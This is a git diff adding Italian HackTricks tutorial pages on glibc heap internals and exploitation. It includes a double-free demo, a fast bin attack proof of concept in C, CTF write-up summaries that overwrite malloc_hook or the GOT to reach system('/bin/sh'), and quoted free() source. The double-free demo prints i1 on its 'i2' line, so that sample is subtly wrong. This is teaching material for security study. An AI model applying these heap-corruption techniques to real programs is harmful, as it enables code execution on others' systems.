+ +### Ultimo Promemoria + +Quando viene utilizzato malloc e un chunk viene diviso (dalla lista non collegata o dal chunk superiore, ad esempio), il chunk creato dal resto del chunk diviso viene chiamato Ultimo Promemoria e il suo puntatore è memorizzato nella struttura `malloc_state`. + +## Flusso di Allocazione + +Controlla: + +{% content-ref url="heap-memory-functions/malloc-and-sysmalloc.md" %} +[malloc-and-sysmalloc.md](heap-memory-functions/malloc-and-sysmalloc.md) +{% endcontent-ref %} + +## Flusso di Liberazione + +Controlla: + +{% content-ref url="heap-memory-functions/free.md" %} +[free.md](heap-memory-functions/free.md) +{% endcontent-ref %} + +## Controlli di Sicurezza delle Funzioni di Heap + +Controlla i controlli di sicurezza eseguiti dalle funzioni ampiamente utilizzate nell'heap in: + +{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %} +[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md) +{% endcontent-ref %} + +## Riferimenti + +* [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/) +* [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) +* [https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions](https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions) +* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/) + +
+ +Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! + +Altri modi per supportare HackTricks: + +* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
diff --git a/binary-exploitation/libc-heap/double-free.md b/binary-exploitation/libc-heap/double-free.md new file mode 100644 index 000000000..0355f91e0 --- /dev/null +++ b/binary-exploitation/libc-heap/double-free.md @@ -0,0 +1,138 @@ +# Doppia Liberazione + +
+ +Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. + +
+ +## Informazioni di Base + +Se liberi un blocco di memoria più di una volta, può compromettere i dati dell'allocatore e aprire la porta agli attacchi. Ecco come avviene: quando liberi un blocco di memoria, esso ritorna in una lista di chunk liberi (ad es. il "fastbin"). Se liberi lo stesso blocco due volte di seguito, l'allocatore rileva ciò e genera un errore. Ma se **liberi un altro chunk nel mezzo, il controllo di doppia liberazione viene eluso**, causando corruzione. + +Ora, quando richiedi nuova memoria (usando `malloc`), l'allocatore potrebbe darti un **blocco liberato due volte**. Ciò può portare a due diversi puntatori che puntano alla stessa posizione di memoria. Se un attaccante controlla uno di quei puntatori, può modificare il contenuto di quella memoria, il che può causare problemi di sicurezza o addirittura consentire l'esecuzione di codice. + +Esempio: +```c +#include +#include + +int main() { +// Allocate memory for three chunks +char *a = (char *)malloc(10); +char *b = (char *)malloc(10); +char *c = (char *)malloc(10); +char *d = (char *)malloc(10); +char *e = (char *)malloc(10); +char *f = (char *)malloc(10); +char *g = (char *)malloc(10); +char *h = (char *)malloc(10); +char *i = (char *)malloc(10); + +// Print initial memory addresses +printf("Initial allocations:\n"); +printf("a: %p\n", (void *)a); +printf("b: %p\n", (void *)b); +printf("c: %p\n", (void *)c); +printf("d: %p\n", (void *)d); +printf("e: %p\n", (void *)e); +printf("f: %p\n", (void *)f); +printf("g: %p\n", (void *)g); +printf("h: %p\n", (void *)h); +printf("i: %p\n", (void *)i); + +// Fill tcache +free(a); +free(b); +free(c); +free(d); +free(e); +free(f); +free(g); + +// Introduce double-free vulnerability in fast bin +free(h); +free(i); +free(h); + + +// Reallocate memory and print the addresses +char *a1 = (char *)malloc(10); +char *b1 = (char *)malloc(10); +char *c1 = (char *)malloc(10); +char *d1 = (char *)malloc(10); +char *e1 = (char *)malloc(10); +char *f1 = (char *)malloc(10); +char *g1 = (char *)malloc(10); +char *h1 = (char *)malloc(10); +char *i1 = (char *)malloc(10); +char *i2 = (char *)malloc(10); + +// Print initial memory addresses +printf("After reallocations:\n"); +printf("a1: %p\n", (void *)a1); +printf("b1: %p\n", (void *)b1); +printf("c1: %p\n", (void *)c1); +printf("d1: %p\n", (void *)d1); +printf("e1: %p\n", (void *)e1); +printf("f1: %p\n", (void *)f1); +printf("g1: %p\n", (void *)g1); +printf("h1: %p\n", (void *)h1); +printf("i1: %p\n", (void *)i1); +printf("i2: %p\n", (void *)i1); + +return 0; +} +``` +In questo esempio, dopo aver riempito la tcache con diversi chunk liberati, il codice **libera il chunk `h`, poi il chunk `i`, e poi di nuovo `h`, causando un errore di double-free**. Questo apre la possibilità di ricevere sovrapposizioni di indirizzi di memoria durante il riallocazione, il che significa che due o più puntatori possono puntare alla stessa posizione di memoria. Manipolare i dati attraverso un puntatore può quindi influenzare l'altro, creando un rischio critico per la sicurezza e un potenziale per l'exploit. + +Eseguendolo, nota come **`i1` e `i2` hanno lo stesso indirizzo**: + +
Assegnazioni iniziali:
+a: 0xaaab0f0c22a0
+b: 0xaaab0f0c22c0
+c: 0xaaab0f0c22e0
+d: 0xaaab0f0c2300
+e: 0xaaab0f0c2320
+f: 0xaaab0f0c2340
+g: 0xaaab0f0c2360
+h: 0xaaab0f0c2380
+i: 0xaaab0f0c23a0
+Dopo le riallocazioni:
+a1: 0xaaab0f0c2360
+b1: 0xaaab0f0c2340
+c1: 0xaaab0f0c2320
+d1: 0xaaab0f0c2300
+e1: 0xaaab0f0c22e0
+f1: 0xaaab0f0c22c0
+g1: 0xaaab0f0c22a0
+h1: 0xaaab0f0c2380
+i1: 0xaaab0f0c23a0
+i2: 0xaaab0f0c23a0
+
+ +## Riferimenti + +* [https://heap-exploitation.dhavalkapil.com/attacks/double\_free](https://heap-exploitation.dhavalkapil.com/attacks/double\_free) + +
+ +Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
diff --git a/binary-exploitation/libc-heap/fast-bin-attack.md b/binary-exploitation/libc-heap/fast-bin-attack.md new file mode 100644 index 000000000..5f596bb9d --- /dev/null +++ b/binary-exploitation/libc-heap/fast-bin-attack.md @@ -0,0 +1,174 @@ +# Attacco Fast Bin + +
+ +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+ +## Informazioni di Base + +Per ulteriori informazioni su cosa sia un fast bin, controlla questa pagina: + +{% content-ref url="bins-and-memory-allocations.md" %} +[bins-and-memory-allocations.md](bins-and-memory-allocations.md) +{% endcontent-ref %} + +Poiché il fast bin è a singola catena, ci sono molte meno protezioni rispetto ad altri bin e semplicemente **modificare un indirizzo in un chunk fast bin liberato** è sufficiente per poter **allocare successivamente un chunk in qualsiasi indirizzo di memoria**. + +In sintesi: + +{% code overflow="wrap" %} +```c +ptr0 = malloc(0x20); +ptr1 = malloc(0x20); + +// Put them in fast bin (suppose tcache is full) +free(ptr0) +free(ptr1) + +// Use-after-free +// Modify the address where the free chunk of ptr1 is pointing +*ptr1 = (unsigned long)((char *)&
); + +ptr2 = malloc(0x20); // This will get ptr1 +ptr3 = malloc(0x20); // This will get a chunk in the
which could be abuse to overwrite arbitrary content inside of it +``` +{% endcode %} + +Puoi trovare un esempio completo in un codice molto ben spiegato su [https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html): +```c +#include +#include +#include + +int main(void) +{ +puts("Today we will be discussing a fastbin attack."); +puts("There are 10 fastbins, which act as linked lists (they're separated by size)."); +puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists."); +puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it)."); +puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)"); +puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate."); +puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin."); +puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n"); +puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n"); + +puts("Let's start, we will allocate three chunks of size 0x30\n"); +unsigned long *ptr0, *ptr1, *ptr2; + +ptr0 = malloc(0x30); +ptr1 = malloc(0x30); +ptr2 = malloc(0x30); + +printf("Chunk 0: %p\n", ptr0); +printf("Chunk 1: %p\n", ptr1); +printf("Chunk 2: %p\n\n", ptr2); + + +printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n"); + +int stackVar = 0x55; + +printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar); + +printf("Proceeding that I'm going to write just some data to the three heap chunks\n"); + +char *data0 = "00000000"; +char *data1 = "11111111"; +char *data2 = "22222222"; + +memcpy(ptr0, data0, 0x8); +memcpy(ptr1, data1, 0x8); +memcpy(ptr2, data2, 0x8); + +printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n"); + +printf("Chunk 0: %s\n", (char *)ptr0); +printf("Chunk 1: %s\n", (char *)ptr1); +printf("Chunk 2: %s\n\n", (char *)ptr2); + +printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n"); + +free(ptr0); +free(ptr1); +free(ptr2); + +printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0); +printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1); +printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2); + +printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n"); + + +printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n"); +printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n"); + +*ptr1 = (unsigned long)((char *)&stackVar); + +printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1); + + +printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n"); +printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n"); + +unsigned long *ptr3, *ptr4, *ptr5; + +ptr3 = malloc(0x30); +ptr4 = malloc(0x30); +ptr5 = malloc(0x30); + +printf("Chunk 3: %p\n", ptr3); +printf("Chunk 4: %p\n", ptr4); +printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5); + +printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n"); +} +``` +{% hint style="danger" %} +Se è possibile sovrascrivere il valore della variabile globale **`global_max_fast`** con un numero grande, ciò consente di generare fast bin di dimensioni maggiori, permettendo potenzialmente di eseguire attacchi fast bin in scenari in cui in precedenza non era possibile. +{% endhint %} + +## Esempi + +* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html)**:** +* È possibile allocare chunk, liberarli, leggerne i contenuti e riempirli (con una vulnerabilità di overflow). +* **Consolidare chunk per infoleak**: La tecnica consiste nell'abuso dell'overflow per creare una fake prev\_size in modo che un chunk precedente venga inserito all'interno di uno più grande, quindi quando si alloca il chunk più grande contenente un altro chunk, è possibile stamparne i dati e ottenere un leak di un indirizzo alla libc (main\_arena+88). +* **Sovrascrivere malloc hook**: Per fare ciò, e sfruttando la situazione di sovrapposizione precedente, era possibile avere 2 chunk che puntavano alla stessa memoria. Di conseguenza, liberandoli entrambi (liberando un altro chunk nel mezzo per evitare protezioni), era possibile avere lo stesso chunk nel fast bin 2 volte. Poi, era possibile allocarlo di nuovo, sovrascrivere l'indirizzo al prossimo chunk in modo che puntasse un po' prima di malloc\_hook (in modo che puntasse a un intero che malloc pensa sia una dimensione libera - un altro bypass), allocarlo di nuovo e quindi allocare un altro chunk che riceverà un indirizzo ai malloc hooks.\ +Infine è stato scritto un **one gadget** lì dentro. +* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html)**:** +* C'è un heap overflow e user after free e double free perché quando un chunk viene liberato è possibile riutilizzare e liberare di nuovo i puntatori +* **Leak di info sulla Libc**: Basta liberare alcuni chunk e otterranno un puntatore a una parte della posizione dell'arena principale. Poiché è possibile riutilizzare i puntatori liberati, basta leggere questo indirizzo. +* **Attacco fast bin**: Tutti i puntatori alle allocazioni sono memorizzati all'interno di un array, quindi possiamo liberare un paio di chunk fast bin e nell'ultimo sovrascrivere l'indirizzo per puntare un po' prima di questo array di puntatori. Quindi, allocare un paio di chunk con la stessa dimensione e otterremo prima quello legittimo e poi quello falso contenente l'array di puntatori. Ora possiamo sovrascrivere questi puntatori di allocazione per puntare all'indirizzo got di `free` per puntare a system e quindi scrivere il chunk 1 `"/bin/sh"` per poi `free(chunk1)` che eseguirà `system("/bin/sh")`. +* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html) +* Un altro esempio di abuso di un overflow di 1B per consolidare chunk nell'unsorted bin e ottenere un infoleak della libc e quindi eseguire un attacco fast bin per sovrascrivere malloc hook con un indirizzo one gadget +* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html) +* Dopo un infoleak sfruttando l'unsorted bin con un UAF per leak di un indirizzo libc e un indirizzo PIE, lo sfruttamento di questo CTF ha utilizzato un attacco fast bin per allocare un chunk in un punto in cui erano situati i puntatori ai chunk controllati, quindi era possibile sovrascrivere certi puntatori per scrivere un one gadget nel GOT +* Puoi trovare un attacco Fast Bin abusato attraverso un attacco unsorted bin: +* Nota che è comune prima di eseguire attacchi fast bin abusare della lista non piaciuta per ottenere leak di indirizzi libc/heap (quando necessario). + +{% content-ref url="unsorted-bin-attack.md" %} +[unsorted-bin-attack.md](unsorted-bin-attack.md) +{% endcontent-ref %} + +
+ +Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
diff --git a/binary-exploitation/libc-heap/heap-memory-functions/README.md b/binary-exploitation/libc-heap/heap-memory-functions/README.md new file mode 100644 index 000000000..8656affca --- /dev/null +++ b/binary-exploitation/libc-heap/heap-memory-functions/README.md @@ -0,0 +1,17 @@ +# Funzioni di Memoria Heap + +
+ +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github. + +
+ +## diff --git a/binary-exploitation/libc-heap/heap-memory-functions/free.md b/binary-exploitation/libc-heap/heap-memory-functions/free.md new file mode 100644 index 000000000..085976e78 --- /dev/null +++ b/binary-exploitation/libc-heap/heap-memory-functions/free.md @@ -0,0 +1,388 @@ +# free + +
+ +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+ +## Riepilogo dell'Ordine Gratuito + +(Nessun controllo è spiegato in questo riepilogo e alcuni casi sono stati omessi per brevità) + +1. Se l'indirizzo è nullo, non fare nulla +2. Se il chunk è stato mappato con mmap, unmappalo e finisci +3. Chiama `_int_free`: +1. Se possibile, aggiungi il chunk al tcache +2. Se possibile, aggiungi il chunk al fast bin +3. Chiama `_int_free_merge_chunk` per consolidare il chunk se necessario e aggiungerlo alla lista non ordinata + +## \_\_libc\_free + +`Free` chiama `__libc_free`. + +* Se l'indirizzo passato è Null (0) non fare nulla. +* Controlla il tag del puntatore +* Se il chunk è `mappato`, `unmappalo` e basta +* Se no, aggiungi il colore e chiama `_int_free` su di esso + +
+ +Codice __lib_free +```c +void +__libc_free (void *mem) +{ +mstate ar_ptr; +mchunkptr p; /* chunk corresponding to mem */ + +if (mem == 0) /* free(0) has no effect */ +return; + +/* Quickly check that the freed pointer matches the tag for the memory. +This gives a useful double-free detection. */ +if (__glibc_unlikely (mtag_enabled)) +*(volatile char *)mem; + +int err = errno; + +p = mem2chunk (mem); + +if (chunk_is_mmapped (p)) /* release mmapped memory. */ +{ +/* See if the dynamic brk/mmap threshold needs adjusting. +Dumped fake mmapped chunks do not affect the threshold. */ +if (!mp_.no_dyn_threshold +&& chunksize_nomask (p) > mp_.mmap_threshold +&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX) +{ +mp_.mmap_threshold = chunksize (p); +mp_.trim_threshold = 2 * mp_.mmap_threshold; +LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, +mp_.mmap_threshold, mp_.trim_threshold); +} +munmap_chunk (p); +} +else +{ +MAYBE_INIT_TCACHE (); + +/* Mark the chunk as belonging to the library again. */ +(void)tag_region (chunk2mem (p), memsize (p)); + +ar_ptr = arena_for_chunk (p); +_int_free (ar_ptr, p, 0); +} + +__set_errno (err); +} +libc_hidden_def (__libc_free) +``` +
+ +## \_int\_free + +### Inizio di \_int\_free + +Inizia con alcuni controlli per assicurarsi che: + +* il **puntatore** sia **allineato**, altrimenti genera l'errore `free(): invalid pointer` +* la **dimensione** non sia inferiore al minimo e che la **dimensione** sia anche **allineata**, altrimenti genera l'errore: `free(): invalid size` + +
+ +Inizio di \_int\_free +```c +// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28 + +#define aligned_OK(m) (((unsigned long) (m) &MALLOC_ALIGN_MASK) == 0) + +static void +_int_free (mstate av, mchunkptr p, int have_lock) +{ +INTERNAL_SIZE_T size; /* its size */ +mfastbinptr *fb; /* associated fastbin */ + +size = chunksize (p); + +/* Little security check which won't hurt performance: the +allocator never wraps around at the end of the address space. +Therefore we can exclude some size values which might appear +here by accident or by "design" from some intruder. */ +if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) +|| __builtin_expect (misaligned_chunk (p), 0)) +malloc_printerr ("free(): invalid pointer"); +/* We know that each chunk is at least MINSIZE bytes in size or a +multiple of MALLOC_ALIGNMENT. */ +if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size))) +malloc_printerr ("free(): invalid size"); + +check_inuse_chunk(av, p); +``` +
+ +### \_int\_free tcache + +Inizialmente cercherà di allocare questo chunk nel tcache correlato. Tuttavia, vengono eseguiti alcuni controlli in precedenza. Scorrerà tutti i chunk del tcache nello stesso indice del chunk liberato e: + +* Se ci sono più voci rispetto a `mp_.tcache_count`: `free(): troppi chunk rilevati nel tcache` +* Se l'entry non è allineata: `free(): chunk non allineato rilevato nel tcache 2` +* se il chunk liberato era già stato liberato e è presente come chunk nel tcache: `free(): doppia liberazione rilevata nel tcache 2` + +Se tutto va bene, il chunk viene aggiunto al tcache e la funzione ritorna. +```c +// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7 +#if USE_TCACHE +{ +size_t tc_idx = csize2tidx (size); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +{ +/* Check to see if it's already in the tcache. */ +tcache_entry *e = (tcache_entry *) chunk2mem (p); + +/* This test succeeds on double free. However, we don't 100% +trust it (it also matches random payload data at a 1 in +2^ chance), so verify it's not an unlikely +coincidence before aborting. */ +if (__glibc_unlikely (e->key == tcache_key)) +{ +tcache_entry *tmp; +size_t cnt = 0; +LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); +for (tmp = tcache->entries[tc_idx]; +tmp; +tmp = REVEAL_PTR (tmp->next), ++cnt) +{ +if (cnt >= mp_.tcache_count) +malloc_printerr ("free(): too many chunks detected in tcache"); +if (__glibc_unlikely (!aligned_OK (tmp))) +malloc_printerr ("free(): unaligned chunk detected in tcache 2"); +if (tmp == e) +malloc_printerr ("free(): double free detected in tcache 2"); +/* If we get here, it was a coincidence. We've wasted a +few cycles, but don't abort. */ +} +} + +if (tcache->counts[tc_idx] < mp_.tcache_count) +{ +tcache_put (p, tc_idx); +return; +} +} +} +#endif +``` + + +### \_int\_free fast bin + +Inizia controllando che la dimensione sia adatta per il fast bin e verifica se è possibile impostarla vicino al top chunk. + +Successivamente, aggiungi il chunk liberato in cima al fast bin mentre esegui alcuni controlli: + +* Se la dimensione del chunk non è valida (troppo grande o piccola) scatena: `free(): invalid next size (fast)` +* Se il chunk aggiunto era già in cima al fast bin: `double free or corruption (fasttop)` +* Se la dimensione del chunk in cima ha una dimensione diversa rispetto al chunk che stiamo aggiungendo: `invalid fastbin entry (free)` + +
+ +_int_free Fast Bin +```c +// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4 + +/* +If eligible, place chunk on a fastbin so it can be found +and used quickly in malloc. +*/ + +if ((unsigned long)(size) <= (unsigned long)(get_max_fast ()) + +#if TRIM_FASTBINS +/* +If TRIM_FASTBINS set, don't place chunks +bordering top into fastbins +*/ +&& (chunk_at_offset(p, size) != av->top) +#endif +) { + +if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) +<= CHUNK_HDR_SZ, 0) +|| __builtin_expect (chunksize (chunk_at_offset (p, size)) +>= av->system_mem, 0)) +{ +bool fail = true; +/* We might not have a lock at this point and concurrent modifications +of system_mem might result in a false positive. Redo the test after +getting the lock. */ +if (!have_lock) +{ +__libc_lock_lock (av->mutex); +fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ +|| chunksize (chunk_at_offset (p, size)) >= av->system_mem); +__libc_lock_unlock (av->mutex); +} + +if (fail) +malloc_printerr ("free(): invalid next size (fast)"); +} + +free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); + +atomic_store_relaxed (&av->have_fastchunks, true); +unsigned int idx = fastbin_index(size); +fb = &fastbin (av, idx); + +/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */ +mchunkptr old = *fb, old2; + +if (SINGLE_THREAD_P) +{ +/* Check that the top of the bin is not the record we are going to +add (i.e., double free). */ +if (__builtin_expect (old == p, 0)) +malloc_printerr ("double free or corruption (fasttop)"); +p->fd = PROTECT_PTR (&p->fd, old); +*fb = p; +} +else +do +{ +/* Check that the top of the bin is not the record we are going to +add (i.e., double free). */ +if (__builtin_expect (old == p, 0)) +malloc_printerr ("double free or corruption (fasttop)"); +old2 = old; +p->fd = PROTECT_PTR (&p->fd, old); +} +while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) +!= old2); + +/* Check that size of fastbin chunk at the top is the same as +size of the chunk that we are adding. We can dereference OLD +only if we have the lock, otherwise it might have already been +allocated again. */ +if (have_lock && old != NULL +&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0)) +malloc_printerr ("invalid fastbin entry (free)"); +} +``` +### _int_free finale + +Se il chunk non era ancora allocato su nessun bin, chiama `_int_free_merge_chunk` +```c +/* +Consolidate other non-mmapped chunks as they arrive. +*/ + +else if (!chunk_is_mmapped(p)) { + +/* If we're single-threaded, don't lock the arena. */ +if (SINGLE_THREAD_P) +have_lock = true; + +if (!have_lock) +__libc_lock_lock (av->mutex); + +_int_free_merge_chunk (av, p, size); + +if (!have_lock) +__libc_lock_unlock (av->mutex); +} +/* +If the chunk was allocated via mmap, release via munmap(). +*/ + +else { +munmap_chunk (p); +} +} +``` +
